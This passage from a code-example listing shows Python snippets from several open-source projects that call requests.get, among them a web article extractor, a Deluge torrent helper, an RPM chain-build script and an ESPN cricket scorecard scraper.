                self._charset = web_page.encoding
            else:
                res = chardet.detect(raw_html)
                self._charset = res['encoding']

            string_source = raw_html.decode(self._charset, "ignore")
            self._source_html = fromstring(string_source)

            # searching for canonical url
            link_canonicals = self._source_html.xpath("//link[normalize-space(@rel)='canonical']/@href")
            self.canonical_url = link_canonicals[0] if len(link_canonicals) > 0 else self.url

            self._source_html = html_cleaner.clean_html(self._source_html)

            # making links absolute
            self._source_html.make_links_absolute(self.url, resolve_base_href=True)

            strip_elements(self._source_html, 'blockquote', 'code', 'table', 'ol', 'ul',
                           'embedded', 'input', 'address', 'iframe', 'textarea', 'dl')

        except (ConnectionError, Timeout, TypeError, Exception) as e:
            self.error_msg = str(e)
        finally:
            if self.error_msg:
                return

        if self._source_html is not None:

            # clean html of the article and its starting node
            self.clean_html, starting_node = self._article_extractor.get_clean_html(source_html=self._source_html)

            # obtaining title
            short_title, title_node = shorten_title(self._source_html, starting_node)
            self.title = clean_entities(short_title)

            # obtaining image url
            self.image_url = get_image_url(self._source_html, self.url, self._headers, starting_node, title_node)
            if self.image_url is not None:
                image_url_node = "<meta itemprop=\"image\" content=\"%s\">" % self.image_url
                image_url_img = "<img src=\"%s\" />" % self.image_url
            else:
                image_url_node = image_url_img = ""

            # summarized description, requires clean_html
            if self.clean_html:
                self.description, self.language = get_plain_text(etree.XML(self.clean_html),
                                                                 self._summary_sentences_qty)

                description_node = ""
                if self.description:
                    # Replacing \xc2\xa0 and \xa0 in result with space
                    self.description = self.description.replace(u'\xc2\xa0', u' ').replace(u'\xa0', u' ')
                    self.description = clean_entities(self.description)
                    self.description = ' '.join(self.description.split())
                    description_node = "<meta name=\"description\" content=\"%s\">" if self.description else ""

                # filling the template
                self.clean_html = ARTICLE_TEMPLATE % {
                    'language': self.language,
                    'title': self.title,
                    'image_url_node': image_url_node,
                    'image_url_img': image_url_img,
                    'description_node': description_node,
                    'clean_html': self.clean_html
                }

Example 48

Project: headphones
Source File: deluge.py
View license
def addTorrent(link, data=None, name=None):
    try:
        # Authenticate anyway
        logger.debug('Deluge: addTorrent Authentication')
        _get_auth()

        result = {}
        retid = False
        url_what = ['https://what.cd/', 'http://what.cd/']
        url_waffles = ['https://waffles.ch/', 'http://waffles.ch/']

        if link.lower().startswith('magnet:'):
            logger.debug('Deluge: Got a magnet link: %s' % _scrubber(link))
            result = {'type': 'magnet',
                        'url': link}
            retid = _add_torrent_magnet(result)

        elif link.lower().startswith('http://') or link.lower().startswith('https://'):
            logger.debug('Deluge: Got a URL: %s' % _scrubber(link))
            if link.lower().startswith(tuple(url_waffles)):
                if 'rss=' not in link:
                    link = link + '&rss=1'
            if link.lower().startswith(tuple(url_what)):
                logger.debug('Deluge: Using different User-Agent for this site')
                user_agent = 'Headphones'
                # This method will make Deluge download the file
                # logger.debug('Deluge: Letting Deluge download this')
                # local_torrent_path = _add_torrent_url({'url': link})
                # logger.debug('Deluge: Returned this local path: %s' % _scrubber(local_torrent_path))
                # return addTorrent(local_torrent_path)
            else:
                user_agent = 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2243.2 Safari/537.36'
            headers = {'User-Agent': user_agent}
            torrentfile = ''
            logger.debug('Deluge: Trying to download (GET)')
            try:
                r = requests.get(link, headers=headers)
                if r.status_code == 200:
                    logger.debug('Deluge: 200 OK')
                    # .text will ruin the encoding for some torrents
                    torrentfile = r.content
                else:
                    logger.debug('Deluge: Trying to GET %s returned status %d' % (_scrubber(link), r.status_code))
                    return False
            except Exception as e:
                logger.debug('Deluge: Download failed: %s' % str(e))
            if 'announce' not in str(torrentfile)[:40]:
                logger.debug('Deluge: Contents of %s doesn\'t look like a torrent file' % _scrubber(link))
                return False
            if not name:
                # Extract torrent name from .torrent
                try:
                    logger.debug('Deluge: Getting torrent name length')
                    name_length = int(re.findall('name([0-9]*)\:.*?\:', str(torrentfile))[0])
                    logger.debug('Deluge: Getting torrent name')
                    name = re.findall('name[0-9]*\:(.*?)\:', str(torrentfile))[0][:name_length]
                except Exception as e:
                    logger.debug('Deluge: Could not get torrent name, getting file name')
                    # get last part of link/path (name only)
                    name = link.split('\\')[-1].split('/')[-1]
                    # remove '.torrent' suffix
                    if name[-len('.torrent'):] == '.torrent':
                        name = name[:-len('.torrent')]
            logger.debug('Deluge: Sending Deluge torrent with name %s and content [%s...]' % (name, str(torrentfile)[:40]))
            result = {'type': 'torrent',
                        'name': name,
                        'content': torrentfile}
            retid = _add_torrent_file(result)

        # elif link.endswith('.torrent') or data:
        elif not (link.lower().startswith('http://') or link.lower().startswith('https://')):
            if data:
                logger.debug('Deluge: Getting .torrent data')
                torrentfile = data
            else:
                logger.debug('Deluge: Getting .torrent file')
                with open(link, 'rb') as f:
                    torrentfile = f.read()
            if not name:
                # Extract torrent name from .torrent
                try:
                    logger.debug('Deluge: Getting torrent name length')
                    name_length = int(re.findall('name([0-9]*)\:.*?\:', str(torrentfile))[0])
                    logger.debug('Deluge: Getting torrent name')
                    name = re.findall('name[0-9]*\:(.*?)\:', str(torrentfile))[0][:name_length]
                except Exception as e:
                    logger.debug('Deluge: Could not get torrent name, getting file name')
                    # get last part of link/path (name only)
                    name = link.split('\\')[-1].split('/')[-1]
                    # remove '.torrent' suffix
                    if name[-len('.torrent'):] == '.torrent':
                        name = name[:-len('.torrent')]
            logger.debug('Deluge: Sending Deluge torrent with name %s and content [%s...]' % (name, str(torrentfile)[:40]))
            result = {'type': 'torrent',
                        'name': name,
                        'content': torrentfile}
            retid = _add_torrent_file(result)

        else:
            logger.error('Deluge: Unknown file type: %s' % link)

        if retid:
            logger.info('Deluge: Torrent sent to Deluge successfully  (%s)' % retid)
            return retid
        else:
            logger.info('Deluge: Returned status %s' % retid)
            return False

    except Exception as e:
        logger.error(str(e))
        formatted_lines = traceback.format_exc().splitlines()
        logger.error('; '.join(formatted_lines))

Example 49

Project: mock
Source File: mockchain.py
View license
def main(args):
    opts, args = parse_args(args)
    # take mock config + list of pkgs
    cfg = opts.chroot
    pkgs = args[1:]

    global config_opts
    config_opts = mockbuild.util.load_config(mockconfig_path, cfg, None, __VERSION__, PKGPYTHONDIR)

    if not opts.tmp_prefix:
        try:
            opts.tmp_prefix = os.getlogin()
        except OSError as e:
            print("Could not find login name for tmp dir prefix add --tmp_prefix")
            sys.exit(1)
    pid = os.getpid()
    opts.uniqueext = '%s-%s' % (opts.tmp_prefix, pid)

    # create a tempdir for our local info
    if opts.localrepo:
        local_tmp_dir = os.path.abspath(opts.localrepo)
        if not os.path.exists(local_tmp_dir):
            os.makedirs(local_tmp_dir)
            os.chmod(local_tmp_dir, 0o755)
    else:
        pre = 'mock-chain-%s-' % opts.uniqueext
        local_tmp_dir = tempfile.mkdtemp(prefix=pre, dir='/var/tmp')
        os.chmod(local_tmp_dir, 0o755)

    if opts.logfile:
        opts.logfile = os.path.join(local_tmp_dir, opts.logfile)
        if os.path.exists(opts.logfile):
            os.unlink(opts.logfile)

    log(opts.logfile, "starting logfile: %s" % opts.logfile)
    opts.local_repo_dir = os.path.normpath(local_tmp_dir + '/results/' + config_opts['chroot_name'] + '/')

    if not os.path.exists(opts.local_repo_dir):
        os.makedirs(opts.local_repo_dir, mode=0o755)

    local_baseurl = "file://%s" % opts.local_repo_dir
    log(opts.logfile, "results dir: %s" % opts.local_repo_dir)
    opts.config_path = os.path.normpath(local_tmp_dir + '/configs/' + config_opts['chroot_name'] + '/')

    if not os.path.exists(opts.config_path):
        os.makedirs(opts.config_path, mode=0o755)

    log(opts.logfile, "config dir: %s" % opts.config_path)

    my_mock_config = os.path.join(opts.config_path, "{0}.cfg".format(config_opts['chroot_name']))

    # modify with localrepo
    res, msg = add_local_repo(config_opts['config_file'], my_mock_config, local_baseurl, 'local_build_repo')
    if not res:
        log(opts.logfile, "Error: Could not write out local config: %s" % msg)
        sys.exit(1)

    for baseurl in opts.repos:
        res, msg = add_local_repo(my_mock_config, my_mock_config, baseurl)
        if not res:
            log(opts.logfile, "Error: Could not add: %s to yum config in mock chroot: %s" % (baseurl, msg))
            sys.exit(1)

    # these files needed from the mock.config dir to make mock run
    for fn in ['site-defaults.cfg', 'logging.ini']:
        pth = mockconfig_path + '/' + fn
        shutil.copyfile(pth, opts.config_path + '/' + fn)

    # createrepo on it
    err = createrepo(opts.local_repo_dir)[1]
    if err.strip():
        log(opts.logfile, "Error making local repo: %s" % opts.local_repo_dir)
        log(opts.logfile, "Err: %s" % err)
        sys.exit(1)

    download_dir = tempfile.mkdtemp()
    downloaded_pkgs = {}
    built_pkgs = []
    try_again = True
    to_be_built = pkgs
    return_code = 0
    num_of_tries = 0
    while try_again:
        num_of_tries += 1
        failed = []
        for pkg in to_be_built:
            if not pkg.endswith('.rpm'):
                log(opts.logfile, "%s doesn't appear to be an rpm - skipping" % pkg)
                failed.append(pkg)
                continue

            elif pkg.startswith('http://') or pkg.startswith('https://') or pkg.startswith('ftp://'):
                url = pkg
                try:
                    log(opts.logfile, 'Fetching %s' % url)
                    r = requests.get(url)
                    # pylint: disable=no-member
                    if r.status_code == requests.codes.ok:
                        fn = urlsplit(r.url).path.rsplit('/', 1)[1]
                        if 'content-disposition' in r.headers:
                            _, params = cgi.parse_header(r.headers['content-disposition'])
                            if 'filename' in params and params['filename']:
                                fn = params['filename']
                        pkg = download_dir + '/' + fn
                        with open(pkg, 'wb') as fd:
                            for chunk in r.iter_content(4096):
                                fd.write(chunk)
                except Exception as e:
                    log(opts.logfile, 'Error Downloading %s: %s' % (url, str(e)))
                    failed.append(url)
                    continue
                else:
                    downloaded_pkgs[pkg] = url
            log(opts.logfile, "Start build: %s" % pkg)
            ret = do_build(opts, config_opts['chroot_name'], pkg)[0]
            log(opts.logfile, "End build: %s" % pkg)
            if ret == 0:
                failed.append(pkg)
                log(opts.logfile, "Error building %s." % os.path.basename(pkg))
                if opts.recurse:
                    log(opts.logfile, "Will try to build again (if some other package will succeed).")
                else:
                    log(opts.logfile, "See logs/results in %s" % opts.local_repo_dir)
            elif ret == 1:
                log(opts.logfile, "Success building %s" % os.path.basename(pkg))
                built_pkgs.append(pkg)
                # createrepo with the new pkgs
                err = createrepo(opts.local_repo_dir)[1]
                if err.strip():
                    log(opts.logfile, "Error making local repo: %s" % opts.local_repo_dir)
                    log(opts.logfile, "Err: %s" % err)
            elif ret == 2:
                log(opts.logfile, "Skipping already built pkg %s" % os.path.basename(pkg))

        if failed and opts.recurse:
            if len(failed) != len(to_be_built):
                to_be_built = failed
                try_again = True
                log(opts.logfile, 'Some package succeeded, some failed.')
                log(opts.logfile, 'Trying to rebuild %s failed pkgs, because --recurse is set.' % len(failed))
            else:
                log(opts.logfile, "Tried %s times - following pkgs could not be successfully built:" % num_of_tries)
                for pkg in failed:
                    msg = pkg
                    if pkg in downloaded_pkgs:
                        msg = downloaded_pkgs[pkg]
                    log(opts.logfile, msg)
                try_again = False
        else:
            try_again = False
            if failed:
                return_code = 2

    # cleaning up our download dir
    shutil.rmtree(download_dir, ignore_errors=True)

    log(opts.logfile, "Results out to: %s" % opts.local_repo_dir)
    log(opts.logfile, "Pkgs built: %s" % len(built_pkgs))
    if built_pkgs:
        if failed:
            if len(built_pkgs):
                log(opts.logfile, "Some packages successfully built in this order:")
        else:
            log(opts.logfile, "Packages successfully built in this order:")
        for pkg in built_pkgs:
            log(opts.logfile, pkg)
    return return_code

Example 50

Project: cricket-score-applet
Source File: espn_scrap.py
View license
def get_match_data(match_url):
    """
    returns detailed match data (match_info) for `match_url`
    """

    try:
        json_data = (requests.get(MATCH_URL_JSON(match_url), headers=REQUEST_PARAM, timeout=10)).json()
    except Exception as err:
        print ('get_match_data: Exception: ', err, file=sys.stderr)
        return None

    match = {}
    ### setting 'description'
    """
    split description into parts.
    e.g. "India tour of Bangladesh, Only Test: Bangladesh v India at Fatullah, Jun 10-14, 2015"
    will become:
        India tour of Bangladesh
        Only Test: Bangladesh v India at Fatullah
        Jun 10-14
        2015
    """
    # match['description'] = '\n'.join(json_data['description'].replace(',', '\n'))
    # HACK: assumes a single space is followed by ','; replace with above line in case of failure
    match['description'] = json_data['description'].replace(', ', '\n')

    ########################################

    ### setting status for match

    status =  json_data['live']['break'] + "\n" if json_data['live']['break'] != "" else ""

    match['status'] = status
    print (match['status'])






    ########################################

    ### setting 'scorecard'
    scorecard = json_data['live']['status'] + "\n" +\
                          (json_data['live']['break'] + "\n" if json_data['live']['break'] != "" else "")

    # 'score and RR' line
    if json_data['live']['innings']:
    # NOTE: there's also json_data['innings'] which is an array of all the innings; 'live':'innings' only tracks the current one
        scorecard += "\n{team_name}: {score}/{wickets}   Curr RR: {run_rate}{required_run_rate}".format(\
                            team_name         = [t['team_name'] for t in json_data['team'] if t['team_id'] == json_data['live']['innings']['team_id']][0],
                            score             = json_data['live']['innings']['runs'],
                            wickets           = json_data['live']['innings']['wickets'],
                            run_rate          = json_data['live']['innings']['run_rate'],
                            required_run_rate = "  Required RR: "+json_data['live']['innings']['required_run_rate']\
                                                if json_data['live']['innings']['required_run_rate'] is not None else ""
                            )

        if json_data['live']['recent_overs']:   # some domestic matches don't have 'recent_overs'
            scorecard += "\nOver (" + json_data['live']['innings']['overs'] + "): " +\
                         u" • ".join([ x['ball'].replace('&bull;', '0') +\
                                      x['extras'].replace('&bull;', '0')  for x in json_data['live']['recent_overs'][-1]])
        else:
            scorecard += "\nOvers: " + json_data['live']['innings']['overs']

    # 'Last Wicket' line
    if json_data['live']['fow']:
        for item in json_data['live']['fow']:
            if item['live_current_name'] == 'last wicket' and item['player_id'] is not None:    # player info is not available in some domestic matches, hence we check before use
                player_name = "<null>"

                for team in json_data['team']:
                    if team['team_id'] == item['team_id']:
                        for player in team['player']:
                            if player['player_id'] == item['player_id']:
                                player_name = player['known_as']        # NOTE: there are multiple "names", check which one is suitable
                                break
                        break

                scorecard += "\n\nLast Wicket: {player_name} {runs}({balls}) {dismissal_string}".format(\
                                    player_name      = player_name,
                                    runs             = item['out_player']['runs'],
                                    balls            = item['out_player']['balls_faced'],
                                    dismissal_string = item['out_player']['dismissal_string'].
                                    			replace("&amp;", "&").
                                    			replace("&nbsp;", " ").
                                    			replace("&bull;", "0").
                                    			replace("&dagger;", "(wk)").
                                    			replace("*", "(c)")
                                )
                break

    # 'Batsman' and 'Bowlers' lines
    if json_data['centre']:     # not available in case of domestic and some international matches, so we cannot rely just on "international" flag
        # NOTE: the formatting work here assumes *monotype* fonts, hence doesn't work for proportionated fonts :(
        # TODO: figure out a better method (tabular?) for displaying this data
        if json_data['centre']['batting']:
            scorecard += "\n\nBatsman:   runs (balls)\n" +\
                             "\n".join(" {player_name:<12} {runs:>4} ({balls:^5})".format(\
                                                # NOTE: in some cases 'popular_name' may be empty, so using 'known_as' instead
                                                player_name = (x['popular_name'] if x['popular_name'] else x['known_as'])\
                                                                + ("*" if x['live_current_name'] == "striker" else ""),
                                                runs        = x['runs'],
                                                balls       = x['balls_faced']
                                        ) for x in json_data['centre']['batting'])

        if json_data['centre']['bowling']:
            scorecard += "\n\nBowlers:   overs-maidens-runs-wickets  economy-rate\n" +\
                             "\n".join(" {player_name:<12} {overs} - {maidens} - {runs} - {wickets}  {economy}".format( \
                                                player_name = (x['popular_name'] if x['popular_name'] else x['known_as'])\
                                                                + ("*" if x['live_current_name'] == "current bowler" else ""),
                                                overs       = x['overs'],
                                                maidens     = x['maidens'],
                                                runs        = x['conceded'],
                                                wickets     = x['wickets'],
                                                economy     = x['economy_rate']
                                        ) for x in json_data['centre']['bowling'])

    else:
        if 'current_summary' in json_data['match'] and json_data['match']['current_summary']:
            # ['match']['current_summary'] is like this:
            #       "Pakistan 58/2 (19.6 ov, Mohammad Hafeez 25*, Younis Khan 1*, KTGD Prasad 2/23)"
            # we need the data inside parenthesis

            t = json_data['match']['current_summary'].split('(')
            if len(t) == 2:
                # we got a clean split
                t = t[1].split(')')
                t = t[0].split(',')

                scorecard += "\n\nBatsman:   runs\n" +\
                                 "\n".join("{player_score_ball}".format(player_score_ball=x)\
                                            for x in t[1:-1]) +\
                                 "\n\nBowlers:   wickets/runs\n{player_score_ball}".format(player_score_ball=t[-1])

    # cat all to form the scoreboard
    match['scorecard'] = scorecard

    ########################################

    ### setting 'last_ball'
    if 'won by' in match['scorecard'] or 'drawn' in match['scorecard']:
        match['last_ball'] = "V"
    elif json_data['live']['recent_overs']:
        match['last_ball'] = (json_data['live']['recent_overs'][-1][-1]['ball']).replace('&bull;', '0')[0]
    else:
        match['last_ball'] = DEFAULT_ICON

    ########################################

    # setting 'comms'
    match['comms'] = ""
    if json_data['comms']:
        match['comms'] = '\n'.join("{overs} {players} : {event}{dismissal}".format(
                                                    overs     = x['overs_actual'],
                                                    players   = x['players'],
                                                    event     = x['event'],
                                                    # HTML character entity references are *evil*
                                                    dismissal = ("\n\t" + x['dismissal'].replace("&amp;","&").replace("&nbsp;"," ").replace("&bull;","0").replace("&dagger;", "(wk)").replace("*", "(c)"))
                                                                if x['dismissal'] != "" else "",
                                                    ) for x in json_data['comms'][0]['ball'] if 'event' in x)

    return match